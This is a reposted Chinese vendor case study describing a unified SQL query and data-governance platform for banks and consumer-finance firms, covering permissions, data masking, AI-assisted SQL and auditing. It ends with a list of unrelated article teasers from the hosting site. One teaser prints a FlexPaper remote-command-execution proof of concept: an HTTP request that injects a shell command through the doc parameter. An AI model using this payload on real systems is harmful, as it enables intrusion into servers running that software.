金融案例:统一查询方案助力数据治理与分析应用更高效、更安全

随着企业数据规模的增长和业务多元化发展,海量数据实时、多维地灵活查询变成业务常见诉求。同时多套数据库系统成为常态,这既带来了数据管理的复杂性,又加大了数据使用的难度,面对日益复杂的数据环境和严格的数据安全要求,需要解决多数据库系统并存、数据孤岛严重、权限管理混乱和数据查询提取困难等问题。与此同时,企业对数据安全管控的要求越来越高,不同角色和部门需要访问的数据各异,如何精细控制数据库权限、防止数据泄露和误操作成为关键挑战。

建设背景

相较于日常查询,在系统实施时通过建立索引、分区等技术来优化、提高查询效率。Ad-Hoc查询生成的方式很多,常见方式是将数仓中的DIM表和Fact表映射到语义层,分析师借助语义层选择表建立表间的关联最终生成SQL语句,Ad-Hoc能力是分析师在使用时临时生产的,系统无法预先优化这些查询,即席查询的位置在EDW中。在一个数据仓库系统中,Ad-Hoc查询使用的越多,对数仓的要求就越高。

以银行、消费金融公司为例,存在业务查询与统一Ad-Hoc需求,下设部门涵盖产品研发、运营推广、贷后管理、法务合规等多个业务领域。由此多类型数据库实例共存下,在用户体系整合、数据权限管理、操作安全审计、SQL查询语法等方面变得十分繁杂,急需一款能够进行多数据库接入、统一数据出口的平台。

案例场景

随着业务量的增长,为提升业务处理效率和风险管理水平,业务主要分为三个部门:风险管理部门、科技部门、金融市场部门,其中风险管理人员能够熟练的使用SQL,但需要针对不同的业务改变SQL语法,经常会出现语法不兼容的问题。金融市场人员较少使用SQL,需要以可视化拖拉拽的方式去拉取明细数据。科技部开发人员在操作数据库时经常会出现误删除、修改核心数据,写一些危险SQL对业务库造成压力,需要给使用人员设置DDL权限以及代码检查来保证数据安全。

部门管理员统一在平台内配置用户的账号信息以及数据源的JDBC链接信息,根据业务需要配置数据权限和代码校验规则,完成基础配置后风险管理人员即可在平台内屏蔽掉下游的计算引擎用一种通用SQL语法取数,金融市场人员需要先根据业务配置常用的数据模型,后续进行可视化取数,excel数据整理。而开发人员只能够在所配的权限下对数据库执行DML语句,如果有超出权限的SQL需要发起审批,审批通过后才可以执行。

痛点分析

1、账号存在安全风险

数据库账号往往由多名操作人员共享,运维人员的权限有可能超出工作实际使用所需要的,很容易出现操作越权等行为,给数据安全造成威胁。

2、不同数据库存在语法差异

不同类型的数据库都有其独特的SQL语法和规则,开发人员在编写SQL查询语句时,需要针对不同数据库进行适配,增加了开发的工作量,并可能导致潜在的错误和性能问题。

3、业务多维查询遇到问题

业务查询常见钻取、上卷、切片、切块、行列变换,在业务查询过程中,零售场景查询单个PV或者查询业务流水,数据读取动则上百个G;查询内存OOM,一直不够用;夜间调度与数据同步,产品经理和分析师上班时间杀任务脚本。

4、审计线索不足,追溯困难

传统工具无法记录用户及其行为数据,如果有数据操作异常的行为无法进行溯源和定责,可能导致数据的二次侵害,给平台长期健康稳定运行带来挑战。

5、业务人员SQL使用频率低

许多报表和分析人员对SQL语句不熟悉,新增报表或者固定报表字段变更时需要进行数据探查,过去提取操作都需要依赖IT人员编写SQL查询,导致数据查询周期长,业务决策支持的效率较低。

6、业务数据分散多个系统中

在复杂的融合分析场景下,数据分析难以将存储在本地Excel文件中的数据导入系统与业务库数据进行关联,不能及时灵活的对业务数据进行分析。

建设方案

1、统一查询引擎

支持适配多种数据库语法,自动转换查询语句,提供包括语法高亮、关键词提示、格式化等功能的IDE编辑界面,让用户无需关心底层数据库的语法差异,一站式完成数据连接、数据处理、数据分析等全流程功能。

2、统一身份认证管理

在使用平台前需管理员先维护好用户个人的账号信息以及相应权限,登录统一查询平台后才能访问数据库,无法接触到数据库真实账号密码。

3、AI辅助数据查询

可根据自然语言表达的数据查询结果转译对应的SQL命令,包括SQL的生成、改写、纠错等,帮助查询人员轻松完成复杂数据提取分析工作。

4、降低数据分析门槛

业务人员可以通过拖拽式操作进行数据提取、模型配置、过滤器配置、可视化报表配置等功能,直观地选择数据源、定义查询条件和组合数据,无需深入了解底层数据库结构和SQL语法,提升数据决策支持能力。

5、数据库安全权限管控

配置数据脱敏、行级权限等安全措施,根据不同角色和职责设定权限,保证业务库中数据的隐私和安全,并对权限变动、危险SQL等用户行为实时审计,以确保数据的合规使用。

file

建设收益

在某消费金融公司的项目落地中,使不同部门的人员能够迅速获取所需信息,显著提升了业务处理效率,满足了客户资料查询、交易记录检索、风险信息评估等多种场景的数据分析。同时确保了金融信息的安全性和保密性,为后续平台的稳健运行提供有力保障。

1、数据需求周期大幅缩短

传统的数据需求流程需要经过多个部门审批、协调,由IT人员排期手动提取。统一查询平台借助SQL/自助取数,允许数据分析、业务人员在统一的平台上按需自助提取,大大减少了沟通、开发、测试成本,使得数据获取周期从原来的3-5天缩短到分钟级出数。

2、数据驱动决策门槛显著降低

借助自助取数及SQL收藏等功能,使得一线业务及运营管理人员也能便捷访问多源异构数据资产,推动全员数据驱动决策,自平台上线以来,业务侧数据分析参与度显著提高,登录人次、停留时长、SQL收藏量、查询任务数、数据导出次数等指标均远超项目规划预期。

3、数据风险操作统一溯源

借助平台的审计日志功能,全面覆盖各类对接数据库的数据操作行为,实现操作行为完整记录率的100%触达,不仅增强了数据安全管理及合规性,还将数据风险操作的定位与排查时间从数小时大幅缩短至数分钟内,审计响应效率提升达80%以上。

4、数据访问权限可视可管

统一查询平台运用行/列级权限控制及数据脱敏技术,实现数据访问权限的可视化与精细化管理,提高了数据安全管控能力。数据表权限配置有效覆盖率提升至95%以上,有效阻止非法数据访问;实现对客户信息、渠道数据等的自动识别与脱敏处理,有力保障了企业在数据共享与应用中的安全性与合规性。

file

《行业指标体系白皮书》下载地址:https://www.dtstack.com/resources/1057?src=szsm

《数栈产品白皮书》下载地址:https://www.dtstack.com/resources/1004?src=szsm

《数据治理行业实践白皮书》下载地址:https://www.dtstack.com/resources/1001?src=szsm

想了解或咨询更多有关大数据产品、行业解决方案、客户案例的朋友,浏览袋鼠云官网:https://www.dtstack.com/?src=szcsdn

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/830871.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

flexpaper 远程命令执行

flexpaper 远程命令执行 这个是有POC的,先简单复现一下 GET /ipg/static/appr/lib/flexpaper/php/view.php?doc1.docx"%26echoshell>shel233l.txt%23&pageexp&formatswf&callbackcallback&isSplittrue HTTP/1.1 Host: 192.168.50.22 Use…

Python 机器学习 基础 之 学习 基础环境搭建

Python 机器学习 基础 之 学习 基础环境搭建 目录 Python 机器学习 基础 之 学习 基础环境搭建 一、简单介绍 二、什么是机器学习 三、python 环境的搭建 1、Python 安装包下载 2、这里以 下载 Python 3.10.9 为例 3、安装 Python 3.10.9 4、检验 python 是否安装成功&…

Systemback Ubuntu14.04 制作自定义系统ISO镜像

工作需要,要基于ubuntu自定义一些编译环境并将自己配置好的ubuntu做成镜像。 硬件准备 ​ 为保证能够顺利完成系统iso镜像的制作与系统还原,推荐准备一个较大容量的U盘或者移动固态硬盘,同时确保自己的Ubuntu系统还有比较大的可用空间。 1 S…

jenkins教程

jenkins 一、简介二、下载安装三、配置jdk、maven和SSH四、部署微服务 一、简介 Jenkins是一个流行的开源自动化服务器,用于自动化软件开发过程中的构建、测试和部署任务。它提供了一个可扩展的插件生态系统,支持各种编程语言和工具。 Jenkins是一款开…

美团代付系统源码搭建ZHU16728

2024美团外卖点单代付系统源码基于php 基础开发,这套系统搭载了外卖系统属性,可添加物流信息。 1.完美对接微信支付,支付宝支付。 2.这套系统全新UI界面,完美搭建可以用作商用系统服务。 3.前端UI界面内容丰富,功能齐全…

有关CSS中排版常见问题(清除默认样式问题 + 元素居中问题 + 元素之间的空白问题 + 行内块的幽灵空白问题)

前言:在练习CSS排版的时候,我们经常会遇到一些排版上的问题,那么我们如何去解决这些问题呢?本篇文章给出了一些新手在练习排版时候可能会遇到的问题的解决方案。 ✨✨✨这里是秋刀鱼不做梦的BLOG ✨✨✨想要了解更多内容可以访问我…

【消息队列】RabbitMQ五种消息模式

RabbitMQ RabbitMQRabbitMQ安装 常见的消息模型基本消息队列SpringAMQPWorkQueue消息预取发布订阅模式Fanout ExchangeDirectExchangeTopicExchange 消息转换器 RabbitMQ RabbitMQ是基于Erlang语言开发的开源消息通信中间件 官网地址:https://www.rabbitmq.com/ R…

【VUE】Vue中实现树状表格结构编辑与版本对比的详细技术实现

Vue中实现树状表格结构编辑与版本对比的详细技术实现 在Vue中,创建一个可编辑的树状表格并实施版本对比功能是一种需求较为常见的场景。在本教程中,我们将使用Vue结合Element UI的el-table组件,来构建一个树状表格,其中包含添加、…

深入探究C++四大关键特性:初始化列表、友元函数、内部类与static成员

目录 1. 构造函数不为人知的那些事 1.1 构造函数体赋值与初始化列表对比 1.2 explicit关键字与构造函数隐式转换 2. static成员 2.1 static成员的概念 2.2 static成员的特性与应用 2.3 小结 3. C11 成员变量初始化新用法 4. 友元 4.1 友元函数 4.2 友元类 5. 内部类…

Python 中的花卉矩阵组合

使用场景描述 (rib) 协议编写脚本的基础知识。通过创建在 3D 空间中转换的基本几何图形,解决了 xyz 坐标系的基础知识。初步渲染是使用基本着色完成的,因此可以更容易地看到几何体。RenderMan 图1 图 1 是我作为作业参考的示例图片,并尝试匹配 中的图片。为了完成这项任务…

Python | Leetcode Python题解之第61题旋转链表

题目: 题解: class Solution:def rotateRight(self, head: ListNode, k: int) -> ListNode:if k 0 or not head or not head.next:return headn 1cur headwhile cur.next:cur cur.nextn 1if (add : n - k % n) n:return headcur.next headwhi…

机器学习的两种典型任务

机器学习中的典型任务类型可以分为分类任务(Classification)和回归任务(Regression) 分类任务 回归任务 简单的理解,分类任务是对离散值进行预测,根据每个样本的值/特征预测该样本属于类 型A、类型B 还是类…

Django后台项目开发实战四

用户可以浏览工作列表以及工作详情 第四阶段 在 jobs 文件夹下创建 templates 文件夹&#xff0c;在里面创建 base.html 网页&#xff0c;内容如下 <!-- base.html --> <div style"text-align:center;"><h1 style "margin:auto; width:50%;&…

MATLAB - 自定义惯性矩阵

系列文章目录 前言 一、关键惯性约定 Simscape 多体软件在惯性定义中采用了一系列约定。请注意这些约定&#xff0c;因为如果手动进行惯性计算&#xff0c;这些约定可能会影响计算结果。如果您的惯性数据来自 CAD 应用程序或其他第三方软件&#xff0c;这些约定还可能影响到您需…

Mac好用又好看的终端iTerm2 + oh-my-zsh

Mac好用又好看的终端iTerm2 1. iTerm2的下载安装2. oh-my-zsh的安装2.1 官网安装方式2.2 国内镜像源安装方式 3. oh-my-zsh配置3.1 存放主题的路径3.2 存放插件的路径3.3 配置文件路径 1. iTerm2的下载安装 官网下载&#xff1a; iTerm2 2. oh-my-zsh的安装 oh-my-zsh是一…

C语言 | Leetcode C语言题解之第60题排列序列

题目&#xff1a; 题解&#xff1a; char* getPermutation(int n, int k) {int factorial[n];factorial[0] 1;for (int i 1; i < n; i) {factorial[i] factorial[i - 1] * i;}--k;char* ans malloc(n 1);ans[n] \0;int valid[n 1];for (int i 0; i < n; i) {val…

飞书API(6):使用 pandas 处理数据并写入 MySQL 数据库

一、引入 上一篇了解了飞书 28 种数据类型通过接口读取到的数据结构&#xff0c;本文开始探讨如何将这些数据写入 MySQL 数据库。这个工作流的起点是从 API 获取到的一个完整的数据&#xff0c;终点是写入 MySQL 数据表&#xff0c;表结构和维格表结构类似。在过程中可以有不同…

【Leetcode每日一题】 动态规划 - 简单多状态 dp 问题 - 按摩师(难度⭐)(64)

1. 题目解析 题目链接&#xff1a;面试题 17.16. 按摩师 这个问题的理解其实相当简单&#xff0c;只需看一下示例&#xff0c;基本就能明白其含义了。 2.算法原理 一、状态定义 在解决这类动态规划问题时&#xff0c;首先我们需要明确状态的定义。对于本题&#xff0c;我们…

在mac上安装node.js及使用npm,yarn相关命令教程

1、安装node.js 官网&#xff1a;Node.js — Download Node.js 选择需要的版本&#xff0c;点击DownLoad 2、点击继续&#xff0c;直到安装成功。 2.1打开终端输入命令node -v 显示版本号则说明已安装成功 3、全局安装yarn命令 1、sudo npm install --global yarn &#xf…

Git学习笔记(五)IDEA使用Git

在前面几篇文章中&#xff0c;我们已经介绍了git的基础知识&#xff0c;知道了其主要作用是用来进行代码的版本管理&#xff1b;并且已经介绍了Git操作的常用命令。在日常的开发环境下&#xff0c;除了通过Bash命令行来操作Git之外&#xff0c;我们另外一种常用的操作方式则是直…